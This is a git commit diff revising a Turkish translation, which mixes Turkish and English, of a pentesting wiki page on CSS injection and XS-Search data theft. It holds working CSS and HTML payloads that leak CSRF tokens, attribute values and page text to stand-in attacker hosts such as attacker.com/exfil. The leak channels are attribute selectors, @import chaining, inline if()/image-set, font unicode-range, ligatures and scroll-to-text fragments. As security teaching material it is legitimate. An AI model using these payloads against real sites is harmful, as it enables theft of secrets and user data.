Translated ['', 'src/pentesting-web/xs-search/css-injection/README.md']

This commit is contained in:
Translator 2025-08-29 00:17:58 +00:00
parent 00e6cd30e8
commit 680d893710

View File

@ -4,9 +4,9 @@
## CSS Injection
### Attribute Selector
### Öznitelik Seçici
CSS seçicileri, bir `input` öğesinin `name` ve `value` özniteliklerinin değerleriyle eşleşecek şekilde hazırlanmıştır. Eğer giriş öğesinin değer özniteliği belirli bir karakterle başlıyorsa, önceden tanımlanmış bir dış kaynak yüklenir:
CSS seçicileri, bir `input` öğesinin `name` ve `value` özniteliklerinin değerleriyle eşleşecek şekilde hazırlanır. Eğer `input` öğesinin `value` özniteliği belirli bir karakterle başlarsa, önceden tanımlanmış bir dış kaynak yüklenir:
```css
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
@ -19,30 +19,31 @@ input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}
```
Ancak, bu yaklaşım gizli giriş öğeleri (`type="hidden"`) ile çalışırken bir sınıra sahiptir çünkü gizli öğeler arka planları yüklemez.
Ancak, bu yaklaşım gizli input öğeleri (`type="hidden"`) ile uğraşırken bir sınırlama ile karşılaşır çünkü gizli öğeler arka planları yüklemez.
#### Gizli Öğeler için Bypass
Bu sınırlamayı aşmak için, `~` genel kardeş kombinatörünü kullanarak bir sonraki kardeş öğeyi hedefleyebilirsiniz. CSS kuralı, gizli giriş öğesini takip eden tüm kardeşlere uygulanır ve arka plan resminin yüklenmesine neden olur:
Bu sınırlamayı aşmak için `~` genel kardeş seçicisini kullanarak sonraki bir kardeş öğeyi hedefleyebilirsiniz. CSS kuralı daha sonra gizli input öğesini takip eden tüm kardeş öğelere uygulanır ve bu da arka plan resminin yüklenmesine neden olur:
```css
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
```
Bu tekniğin istismarına dair pratik bir örnek sağlanan kod parçasında detaylandırılmıştır. Bunu [buradan](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e) görüntüleyebilirsiniz.
A practical example of exploiting this technique is detailed in the provided code snippet. You can view it [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
#### CSS Enjeksiyonu için Ön Koşullar
#### CSS Injection için Gereksinimler
CSS Enjeksiyonu tekniğinin etkili olabilmesi için belirli koşulların sağlanması gerekmektedir:
CSS Injection tekniğinin etkili olabilmesi için bazı koşulların sağlanması gerekir:
1. **Yük Uzunluğu**: CSS enjeksiyon vektörü, oluşturulmuş seçicileri barındıracak kadar uzun yükleri desteklemelidir.
2. **CSS Yeniden Değerlendirmesi**: Sayfayı çerçeveleme yeteneğine sahip olmalısınız; bu, yeni oluşturulmuş yüklerle CSS'nin yeniden değerlendirilmesini tetiklemek için gereklidir.
3. **Dış Kaynaklar**: Bu teknik, dışarıda barındırılan resimlerin kullanılabilme yeteneğini varsayar. Bu, sitenin İçerik Güvenlik Politikası (CSP) tarafından kısıtlanabilir.
1. **Payload Length**: CSS injection vektörünün oluşturulmuş seçicileri barındıracak kadar uzun payloads desteklemesi gerekir.
2. **CSS Re-evaluation**: Sayfayı frame'leyebilme yeteneğine sahip olmalısınız; bu, yeni oluşturulan payloads ile CSS'in yeniden değerlendirilmesini tetiklemek için gereklidir.
3. **External Resources**: Teknik, harici olarak barındırılan resimleri kullanabilme yeteneğini varsayar. Bu, sitenin Content Security Policy (CSP) tarafından kısıtlanmış olabilir.
### Kör Özellik Seçici
### Blind Attribute Selector
[**bu yazıda açıklandığı gibi**](https://portswigger.net/research/blind-css-exfiltration), **`:has`** ve **`:not`** seçicilerini birleştirerek kör öğelerden bile içerik tanımlamak mümkündür. Bu, CSS enjeksiyonunu yükleyen web sayfasının içinde ne olduğunu bilmediğinizde çok faydalıdır.\
Ayrıca, bu seçicileri aynı türdeki birkaç bloktan bilgi çıkarmak için kullanmak da mümkündür:
As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration) sayfasında açıklandığı gibi, **`:has`** ve **`:not`** seçicilerini birleştirerek kör öğelerden bile içeriği tespit etmek mümkündür.\
Bu, CSS Injection'ı yükleyen web sayfasının içinde ne olduğunu bilmediğiniz durumlarda çok kullanışlıdır.\
Ayrıca, bu seçicileri aynı türden birden fazla bloktan bilgi çıkarmak için de kullanmak mümkündür, örneğin:
```html
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
@ -52,59 +53,95 @@ background: url(/m);
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />
```
Bunu aşağıdaki **@import** tekniği ile birleştirerek, **blind-css-exfiltration** ile **kör sayfalardan** çok fazla **bilgi sızdırmak** mümkündür.
Bunu aşağıdaki **@import** tekniğiyle birleştirerek, [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration) ile blind sayfalardan CSS injection kullanarak çok fazla **bilgi** sızdırmak mümkün.
### @import
Önceki tekniğin bazı dezavantajları vardır, ön koşulları kontrol edin. Ya **kurbanın birden fazla bağlantı alabilmesi** gerekir ya da **CSS enjeksiyonuna açık sayfayı iframe'leyebilmeniz** gerekir.
Önceki tekniğin bazı dezavantajları var, önkoşulları kontrol edin. Ya **victim'e birden fazla link gönderebilme** yeteneğiniz olmalı, ya da **CSS injection vulnerable page'i iframeleyebilmelisiniz**.
Ancak, tekniğin kalitesini artırmak için **CSS `@import`** kullanan başka bir akıllı teknik vardır.
Ancak, tekniğin kalitesini artırmak için **CSS `@import`** kullanan başka zekice bir yöntem daha var.
Bu ilk olarak [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) tarafından gösterilmiştir ve şöyle çalışır:
Bu ilk olarak [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) tarafından gösterildi ve şöyle çalışıyor:
Her seferinde on farklı yük ile aynı sayfayı tekrar tekrar yüklemek yerine (öncekinde olduğu gibi), **sayfayı sadece bir kez ve sadece saldırganın sunucusuna bir import ile yükleyeceğiz** (bu, kurbana gönderilecek yük):
Aynı sayfayı her seferinde onlarca farklı payload ile tekrar tekrar yüklemek yerine (öncekinde olduğu gibi), sayfayı **load the page just once and just with an import to the attackers server** şeklinde sadece bir kez yüklüyoruz (bu, victim'e göndereceğimiz payload'tur):
```css
@import url("//attacker.com:5001/start?");
```
1. İthalat, **saldırganlardan bazı CSS scriptleri alacak** ve **tarayıcı bunu yükleyecek**.
2. Saldırganın göndereceği CSS scriptinin ilk kısmı, **saldırganın sunucusuna tekrar başka bir `@import` olacak.**
1. Saldırganın sunucusu bu isteğe henüz yanıt vermeyecek, çünkü bazı karakterleri sızdırmak istiyoruz ve ardından bu ithalatı sızdırılacak sonraki karakterlerle birlikte yükleyeceğiz.
3. Yüklemenin ikinci ve daha büyük kısmı, **bir nitelik seçici sızıntı yüklemesi** olacak.
1. Bu, saldırganın sunucusuna **sırrın ilk ve son karakterini** gönderecek.
4. Saldırganın sunucusu **sırrın ilk ve son karakterini** aldıktan sonra, **adım 2'de talep edilen ithalata yanıt verecek**.
1. Yanıt, **adım 2, 3 ve 4'tekiyle** tam olarak aynı olacak, ancak bu sefer **sırrın ikinci karakterini ve ardından sondan bir önceki karakteri bulmaya çalışacak**.
1. import, attackers tarafından bazı **CSS script** alacak ve **tarayıcı bunu yükleyecek**.
2. Attacker'ın göndereceği CSS script'in ilk kısmı **yeniden attackers sunucusuna bir `@import`** olacak.
1. Bu attackers sunucusu henüz bu isteğe yanıt vermeyecek; önce bazı karakterleri leak etmek istiyoruz ve sonra bu import'a sonraki karakterleri leak etmek için payload ile cevap vereceğiz.
3. Payload'ın ikinci ve daha büyük kısmı bir **attribute selector leakage payload** olacak
1. Bu, attackers sunucusuna **secret'in ilk karakterini ve son karakterini** gönderecek
4. attackers sunucusu **secret'in ilk ve son karakterini** aldıktan sonra, adım 2'de istenen import'a **yanıt verecek**.
1. Yanıt, **adımlar 2, 3 ve 4** ile tamamen aynı olacak, ama bu sefer secret'in **ikinci karakterini ve sonra sondan bir önceki karakteri** bulmaya çalışacak.
Saldırgan, **sırrı tamamen sızdırana kadar bu döngüyü takip edecek**.
Attacker, secret'i tamamen leak edene kadar bu döngüyü takip edecek.
Orijinal [**Pepe Vila'nın bu açığı istismar etmek için kodunu burada bulabilirsiniz**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) veya neredeyse [**aynı kodu ama yorumlu burada bulabilirsiniz**.](#css-injection)
You can find the original [**Pepe Vila's code to exploit this here**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) or you can find almost the [**same code but commented here**.](#css-injection)
> [!NOTE]
> Script, her seferinde 2 karakter keşfetmeye çalışacak (başlangıçtan ve sondan) çünkü nitelik seçici, şunları yapmaya izin verir:
> [!TIP]
> Script her seferinde 2 karakter (başlangıçtan ve sondan) keşfetmeye çalışacak çünkü attribute selector şöyle şeylere izin veriyor:
>
> ```css
> /* value^= değerin başlangıcını eşleştirmek için */
> /* value^= to match the beggining of the value*/
> input[value^="0"] {
> --s0: url(http://localhost:5001/leak?pre=0);
> }
>
> /* value$= değerin sonunu eşleştirmek için */
> /* value$= to match the ending of the value*/
> input[value$="f"] {
> --e0: url(http://localhost:5001/leak?post=f);
> }
> ```
>
> Bu, scriptin sırrı daha hızlı sızdırmasına olanak tanır.
> Bu, script'in secret'i daha hızlı leak etmesini sağlıyor.
> [!WARNING]
> Bazen script, **öğrenilen ön ek + son ekin zaten tam bayrak olduğunu doğru bir şekilde tespit edemez** ve ileri (ön ekte) ve geri (son ekte) devam eder ve bir noktada takılır.\
> Endişelenmeyin, sadece **çıktıyı** kontrol edin çünkü **orada bayrağı görebilirsiniz**.
> Bazen script **keşfedilen prefix + suffix'in zaten tam flag olduğunu doğru şekilde tespit etmez** ve prefix'te ileri (in the prefix) ve suffix'te geri (in the suffix) devam eder ve bir noktada takılır.\
> Endişelenmeyin, sadece **output'u** kontrol edin çünkü **flag'i orada görebilirsiniz**.
### Inline-Style CSS Exfiltration (attr() + if() + image-set())
This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.
> [!WARNING]
> Equality comparisons in if() require double quotes for string literals. Single quotes will not match.
- Sink: bir elementin style attribute'unu kontrol edin ve hedef attribute'un aynı elementte olduğundan emin olun (attr() sadece aynı element attribute'larını okur).
- Read: attribute'u bir CSS değişkenine kopyalayın: `--val: attr(title)`.
- Decide: değişkeni string adaylarıyla karşılaştıran iç içe conditionals kullanarak bir URL seçin: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`.
- Exfiltrate: seçilen endpoint'e istek zorlamak için `background: image-set(var(--steal))` (veya herhangi bir fetching property) uygulayın.
Attempt (does not work; single quotes in comparison):
```html
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
```
Çalışan payload (karşılaştırmada çift tırnak gerekli):
```html
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
```
İçiçe koşullarla öznitelik değerlerini numaralandırma:
```html
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
```
Gerçekçi demo (kullanıcı adlarını sorgulama):
```html
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>
```
Notlar ve sınırlamalar:
- Araştırma sırasında Chromium tabanlı tarayıcılarda çalışır; davranış diğer tarayıcı motorlarında farklı olabilir.
- En iyi sonlu/sayımlanabilir değer alanları (IDs, flags, kısa kullanıcı adları) için uygundur. Harici stylesheet olmadan rastgele uzun dizelerin çalınması hâlâ zordur.
- Any CSS property that fetches a URL can be used to trigger the request (e.g., background/image-set, border-image, list-style, cursor, content).
Otomasyon: a Burp Custom Action, attribute değerlerini brute-force etmek için nested inline-style payload'ları üretebilir: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
### Diğer seçiciler
**CSS seçicileri** ile DOM parçalarına erişmenin diğer yolları:
Other ways to access DOM parts with **CSS selectors**:
- **`.class-to-search:nth-child(2)`**: Bu, DOM'daki "class-to-search" sınıfına sahip ikinci öğeyi arayacaktır.
- **`:empty`** seçici: Örneğin, [**bu yazıda**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)** kullanılmıştır:**
- **`.class-to-search:nth-child(2)`**: DOM'daki class "class-to-search" olan ikinci öğeyi arar.
- **`:empty`** selector: Örneğin [**this writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
```css
[role^="img"][aria-label="1"]:empty {
@ -112,11 +149,11 @@ background-image: url("YOUR_SERVER_URL?1");
}
```
### Hata tabanlı XS-Search
### Error based XS-Search
**Referans:** [CSS tabanlı Saldırı: @font-face'in unicode-range'ini kötüye kullanma](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Hata Tabanlı XS-Search PoC @terjanq tarafından](https://twitter.com/terjanq/status/1180477124861407234)
**Referans:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
Genel amaç, **kontrol edilen bir uç noktadan özel bir font kullanmak** ve **metnin (bu durumda, 'A') yalnızca belirtilen kaynak (`favicon.ico`) yüklenemediğinde bu fontla görüntülenmesini sağlamaktır**.
Genel amaç, **kontrollü bir endpoint'ten özel bir font kullanmak** ve **metnin (bu durumda, 'A') yalnızca belirtilen kaynak (`favicon.ico`) yüklenemiyorsa bu font ile görüntülenmesini sağlamak**.
```html
<!DOCTYPE html>
<html>
@ -138,49 +175,49 @@ font-family: "poc";
</body>
</html>
```
1. **Özel Yazı Tipi Kullanımı**:
1. **Custom Font Usage**:
- Özel bir yazı tipi, `<head>` bölümündeki `<style>` etiketinde `@font-face` kuralı kullanılarak tanımlanır.
- Yazı tipinin adı `poc` olarak belirlenmiş ve harici bir uç noktadan (`http://attacker.com/?leak`) alınmaktadır.
- `unicode-range` özelliği `U+0041` olarak ayarlanmış, bu da belirli Unicode karakteri 'A'yı hedef alır.
- Özel bir yazı tipi, `<head>` bölümündeki bir `<style>` etiketi içinde `@font-face` kuralı kullanılarak tanımlanır.
- Yazı tipi `poc` olarak adlandırılır ve harici bir uç noktadan (`http://attacker.com/?leak`) alınır.
- `unicode-range` özelliği `U+0041` olarak ayarlanır, belirli Unicode karakteri 'A'yı hedefler.
2. **Yedek Metin ile Nesne Elemanı**:
- `<body>` bölümünde `id="poc0"` olan bir `<object>` elemanı oluşturulmuştur. Bu eleman, `http://192.168.0.1/favicon.ico` adresinden bir kaynak yüklemeye çalışır.
- Bu elemanın `font-family` değeri, `<style>` bölümünde tanımlandığı gibi `'poc'` olarak ayarlanmıştır.
- Eğer kaynak (`favicon.ico`) yüklenemezse, `<object>` etiketinin içindeki yedek içerik (harf 'A') görüntülenir.
- Harici kaynak yüklenemezse, yedek içerik ('A') özel yazı tipi `poc` kullanılarak render edilir.
2. **Object Element with Fallback Text**:
- `<body>` bölümünde `id="poc0"` olan bir `<object>` elementi oluşturulur. Bu element `http://192.168.0.1/favicon.ico` kaynağını yüklemeye çalışır.
- Bu element için `font-family` `<style>` bölümünde tanımlandığı gibi `'poc'` olarak ayarlanır.
- `favicon.ico` kaynağı yüklenemezse, `<object>` etiketinin içindeki yedek içerik (harf 'A') görüntülenir.
- Harici kaynak yüklenemezse yedek içerik ('A') özel yazı tipi `poc` kullanılarak render edilir.
### Kaydırma ile Metin Parçasına Stil Verme
### Styling Scroll-to-Text Fragment
**`:target`** psödo-sınıfı, bir **URL parçası** ile hedeflenen bir elementi seçmek için kullanılır; bu, [CSS Seçicileri Seviye 4 spesifikasyonunda](https://drafts.csswg.org/selectors-4/#the-target-pseudo) belirtilmiştir. `::target-text`'in, metin açıkça parça tarafından hedeflenmedikçe hiçbir elementi eşleştirmediğini anlamak önemlidir.
The **`:target`** pseudo-class is employed to select an element targeted by a **URL fragment**, as specified in the [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). It's crucial to understand that `::target-text` doesn't match any elements unless the text is explicitly targeted by the fragment.
Bir güvenlik endişesi, saldırganların **Kaydırma ile Metin** parçası özelliğini kullanarak, HTML enjeksiyonu yoluyla kendi sunucularından bir kaynak yükleyerek bir web sayfasında belirli metinlerin varlığını doğrulamalarına olanak tanımasıdır. Yöntem, şu şekilde bir CSS kuralı enjekte etmeyi içerir:
A security concern arises when attackers exploit the **Scroll-to-text** fragment feature, allowing them to confirm the presence of specific text on a webpage by loading a resource from their server through HTML injection. The method involves injecting a CSS rule like this:
```css
:target::before {
content: url(target.png);
}
```
Bu tür senaryolarda, sayfada "Administrator" metni mevcutsa, `target.png` kaynağı sunucudan talep edilir ve metnin varlığını gösterir. Bu saldırının bir örneği, enjekte edilen CSS'i bir Scroll-to-text parçasıyla birlikte içeren özel olarak hazırlanmış bir URL aracılığıyla gerçekleştirilebilir:
Böyle durumlarda, sayfada "Administrator" metni bulunuyorsa, sunucudan `target.png` isteği yapılır; bu da metnin varlığını gösterir. Bu saldırının bir örneği, enjekte edilmiş CSS'i Scroll-to-text fragment ile birlikte gömülü olarak içeren özel hazırlanmış bir URL aracılığıyla gerçekleştirilir:
```
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
```
Burada, saldırı HTML enjeksiyonunu manipüle ederek CSS kodunu iletmeyi amaçlamakta ve "Administrator" metnini Scroll-to-text fragment (`#:~:text=Administrator`) aracılığıyla hedef almaktadır. Metin bulunduğunda, belirtilen kaynak yüklenir ve bu durum istemeden saldırgana varlığını sinyal eder.
Burada saldırı, CSS kodunu iletmek için HTML injection'ı manipüle eder; hedef Scroll-to-text fragment (`#:~:text=Administrator`) aracılığıyla "Administrator" metnidir. Metin bulunursa belirtilen kaynak yüklenir ve bu istemeden varlığının saldırgana bildirilmesine yol açar.
Azaltma için aşağıdaki noktalar dikkate alınmalıdır:
Etkili mitigasyon için şu noktalar göz önünde bulundurulmalıdır:
1. **Kısıtlı STTF Eşleşmesi**: Scroll-to-text Fragment (STTF), yalnızca kelimeleri veya cümleleri eşleştirmek üzere tasarlanmıştır, bu da rastgele gizli bilgilerin veya token'ların sızma yeteneğini sınırlamaktadır.
2. **Üst Düzey Tarayıcı Bağlamlarına Kısıtlama**: STTF yalnızca üst düzey tarayıcı bağlamlarında çalışır ve iframe'ler içinde işlev görmez, bu da herhangi bir istismar girişimini kullanıcıya daha belirgin hale getirir.
3. **Kullanıcı Etkileşimi Gerekliliği**: STTF'nin çalışması için bir kullanıcı etkileşimi gereklidir, bu da istismarların yalnızca kullanıcı tarafından başlatılan gezintilerle mümkün olduğu anlamına gelir. Bu gereklilik, saldırıların kullanıcı etkileşimi olmadan otomatikleştirilme riskini önemli ölçüde azaltır. Bununla birlikte, blog yazısının yazarı, saldırının otomasyonunu kolaylaştırabilecek belirli koşulları ve geçiş yollarını (örneğin, sosyal mühendislik, yaygın tarayıcı uzantılarıyla etkileşim) belirtmektedir.
1. **Constrained STTF Matching**: Scroll-to-text Fragment (STTF) yalnızca kelime veya cümlelerle eşleştirme yapacak şekilde tasarlanmıştır; bu da rastgele sırlar veya token'ları sızdırma yeteneğini sınırlar.
2. **Restriction to Top-level Browsing Contexts**: STTF yalnızca üst seviye tarayıcı bağlamlarında çalışır ve iframe'ler içinde işlev görmez; bu da herhangi bir istismar girişimini kullanıcı için daha fark edilir kılar.
3. **Necessity of User Activation**: STTF'nin çalışması için bir user-activation gesture gereklidir; bu da istismarların yalnızca kullanıcı kaynaklı navigasyonlarla mümkün olduğu anlamına gelir. Bu gereklilik, kullanıcı etkileşimi olmadan saldırıların otomatikleştirilmesi riskini büyük ölçüde azaltır. Yine de blog yazısının yazarı, belirli koşullar ve bypass'lar (ör. social engineering, yaygın tarayıcı eklentileriyle etkileşim) ile saldırının otomatikleştirilmesini kolaylaştırabilecek durumlara dikkat çekiyor.
Bu mekanizmaların ve potansiyel zayıflıkların farkında olmak, web güvenliğini sağlamak ve bu tür istismar taktiklerine karşı korunmak için anahtardır.
Bu mekanizmaların ve potansiyel zayıflıkların farkında olmak, web güvenliğini korumak ve bu tür istismarcı taktiklere karşı korunmak için önemlidir.
Daha fazla bilgi için orijinal rapora bakın: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
Daha fazla bilgi için orijinal raporu inceleyin: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
Bu teknikle bir CTF için bir [**istismar kontrol edebilirsiniz**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
[**Bu teknikle bir CTF için hazırlanmış exploit'i burada inceleyebilirsiniz**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
Sayfada mevcut olan **belirli unicode değerleri için dış fontlar belirtebilirsiniz** ve bu fontlar yalnızca **o unicode değerleri sayfada bulunduğunda toplanacaktır**. Örneğin:
Belirli unicode değerleri için **harici fontlar** belirtebilirsiniz; bu fontlar yalnızca sayfada bu unicode değerleri bulunuyorsa **yüklenir**. Örneğin:
```html
<style>
@font-face {
@ -212,18 +249,18 @@ When you access this page, Chrome and Firefox fetch "?A" and "?B" because text n
**Reference:** [Wykradanie danych w świetnym stylu czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
ıklanan teknik, font ligatürlerini kullanarak bir düğümden metin çıkarmayı ve genişlikteki değişiklikleri izlemeyi içerir. Süreç birkaç adımdan oluşur:
ıklanan teknik, font ligatürlerinden yararlanarak ve genişlik değişikliklerini izleyerek bir node'daki metni çıkarmayı içerir. Süreç birkaç adımdan oluşur:
1. **Özel Fontların Oluşturulması**:
1. **Ozel Fontların Oluşturulması**:
- SVG fontları, iki karakter dizisini temsil eden bir glif için büyük bir genişlik ayarlayan `horiz-adv-x` niteliğine sahip gliflerle oluşturulur.
- Örnek SVG glifi: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, burada "XY" iki karakter dizisini belirtir.
- SVG fontları, iki karakterli bir diziyi temsil eden glypha için büyük bir genişlik ayarlayan `horiz-adv-x` attributesine sahip glyph'ler ile hazırlanır.
- Örnek SVG glyph: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, burada "XY" iki karakterlik bir diziyi gösterir.
- Bu fontlar daha sonra fontforge kullanılarak woff formatına dönüştürülür.
2. **Genişlik Değişikliklerinin Tespiti**:
- Metnin sarılmamasını sağlamak için CSS kullanılır (`white-space: nowrap`) ve kaydırıcı stilini özelleştirir.
- Farklı bir şekilde stillendirilmiş yatay bir kaydırıcının görünümü, metinde belirli bir ligatürün ve dolayısıyla belirli bir karakter dizisinin mevcut olduğunun bir göstergesi (oracle) olarak işlev görür.
- Metnin sarılmaması için CSS kullanılır (`white-space: nowrap`) ve scrollbar stili özelleştirilir.
- Yatay scrollbar'ın belirgin şekilde stilize edilmiş olarak ortaya çıkması, belirli bir ligatürün (dolayısıyla belirli bir karakter dizisinin) metinde bulunduğuna dair bir gösterge (oracle) görevi görür.
- İlgili CSS:
```css
body {
@ -239,47 +276,47 @@ background: url(http://attacker.com/?leak);
3. **Sömürü Süreci**:
- **Adım 1**: Genişliği büyük olan karakter çiftleri için fontlar oluşturulur.
- **Adım 2**: Büyük genişlik glifinin (bir karakter çiftinin ligatürü) render edildiğini tespit etmek için kaydırıcı tabanlı bir hile kullanılır, bu da karakter dizisinin varlığını gösterir.
- **Adım 3**: Bir ligatür tespit edildiğinde, tespit edilen çifti içeren ve bir önceki veya sonraki karakter ekleyen üç karakter dizisini temsil eden yeni glifler üretilir.
- **Adım 4**: Üç karakterli ligatürün tespiti gerçekleştirilir.
- **Adım 5**: Süreç tekrarlanır, metnin tamamı yavaş yavaş açığa çıkar.
- **Adım 1**: İki karakterlik çiftler için büyük genişlikli glyph'ler içeren fontlar oluşturulur.
- **Adım 2**: Büyük genişlikli glyph'in (iki karakterlik ligatür) render edildiğini tespit etmek için scrollbar tabanlı bir hile kullanılır; bu, ilgili karakter dizisinin varlığını gösterir.
- **Adım 3**: Bir ligatür tespit edildikten sonra, tespit edilen çifti içeren ve ona önceki veya sonraki bir karakter ekleyen üç karakterlik dizileri temsil eden yeni glyph'ler üretilir.
- **Adım 4**: Üç karakterlik ligatürün tespiti yapılır.
- **Adım 5**: Süreç tekrarlanır ve metnin tamamı kademeli olarak açığa çıkarılır.
4. **Optimizasyon**:
- Mevcut başlatma yöntemi olan `<meta refresh=...` optimal değildir.
- Daha verimli bir yaklaşım, sömürünün performansını artıran CSS `@import` hilesini içerebilir.
- Şu anki başlatma yöntemi olarak kullanılan `<meta refresh=...` optimal değil.
- Daha verimli bir yaklaşım, exploit'in performansını artıracak CSS `@import` hilesini içerebilir.
### Text node exfiltration (II): leaking the charset with a default font (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Reference:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
Bu hile, bu [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/) içinde yayımlandı. Bir metin düğümünde kullanılan karakter seti, tarayıcıda yüklü olan **varsayılan fontlar** kullanılarak sızdırılabilir: dışarıdan -veya özel- fontlara ihtiyaç yoktur.
This trick was released in this [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). The charset used in a text node can be leaked **using the default fonts** installed in the browser: no external -or custom- fonts are needed.
Kavram, bir `div`'in genişliğini kademeli olarak artırmak için bir animasyon kullanmayı içerir, böylece bir karakter bir seferde metnin 'sonek' kısmından 'ön ek' kısmına geçiş yapar. Bu süreç, metni iki bölüme ayırır:
Konsept, bir `div`'in genişliğini kademeli olarak genişleten bir animasyon kullanarak, metnin 'suffix' bölümünden 'prefix' bölümüne bir kerede bir karakterin geçişine izin vermeye dayanır. Bu süreç metni etkin bir şekilde iki bölüme ayırır:
1. **Ön Ek**: İlk satır.
2. **Sonek**: Sonraki satır(lar).
1. Prefix: İlk satır.
2. Suffix: Sonraki satır(lar).
Karakterlerin geçiş aşamaları şu şekilde görünecektir:
Karakterlerin geçiş aşamaları şu şekilde görünür:
**C**\
C\
ADB
**CA**\
CA\
DB
**CAD**\
CAD\
B
**CADB**
CADB
Bu geçiş sırasında, **unicode-range hilesi** her yeni karakterin ön ekle birleştiği anda tanımlanmasını sağlamak için kullanılır. Bu, fontu Comic Sans'a değiştirerek gerçekleştirilir; bu font, varsayılan fonta göre belirgin şekilde daha yüksektir ve dolayısıyla dikey bir kaydırıcıyı tetikler. Bu kaydırıcının görünümü, dolaylı olarak ön ekte yeni bir karakterin varlığını ortaya çıkarır.
Bu geçiş sırasında, her yeni karakter prefix'e katıldıkça tespit etmek için **unicode-range trick** kullanılır. Bu, fontu Comic Sans'a geçirerek yapılır; Comic Sans varsayılan fonttan belirgin şekilde daha uzundur ve sonuçta dikey bir scrollbar tetikler. Bu scrollbar'ın ortaya çıkması, dolaylı olarak prefix'te yeni bir karakterin varlığınıığa çıkarır.
Bu yöntem, benzersiz karakterlerin görünmesiyle tespit edilmesini sağlasa da, hangi karakterin tekrarlandığını belirtmez, sadece bir tekrarın gerçekleştiğini gösterir.
Bu yöntem benzersiz karakterlerin ortaya çıkışını tespit etmeye olanak verir, ancak hangi karakterin tekrarlandığını belirtmez; yalnızca bir tekrarın olduğu bilgisini verir.
> [!NOTE]
> Temelde, **unicode-range bir karakteri tespit etmek için kullanılır**, ancak dış bir font yüklemek istemediğimiz için başka bir yol bulmamız gerekir.\
> **Karakter** **bulunduğunda**, önceden yüklenmiş **Comic Sans fontu** ile **verilir**, bu da karakteri **büyütür** ve **bir kaydırıcıyı tetikler**; bu da **bulunan karakteri sızdırır**.
> [!TIP]
> Temelde, **unicode-range** bir karakteri tespit etmek için kullanılır, fakat dış bir font yüklemek istemediğimiz için başka bir yol bulmamız gerekir.\
> **Karakter** **bulunduğunda**, ona önceden yüklü **Comic Sans** fontu **atanır**, bu da karakteri **daha büyük** yapar ve **bir scroll barı tetikler**; bu da bulunan karakteri **leak** eder.
Check the code extracted from the PoC:
```css
@ -706,17 +743,17 @@ div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
```
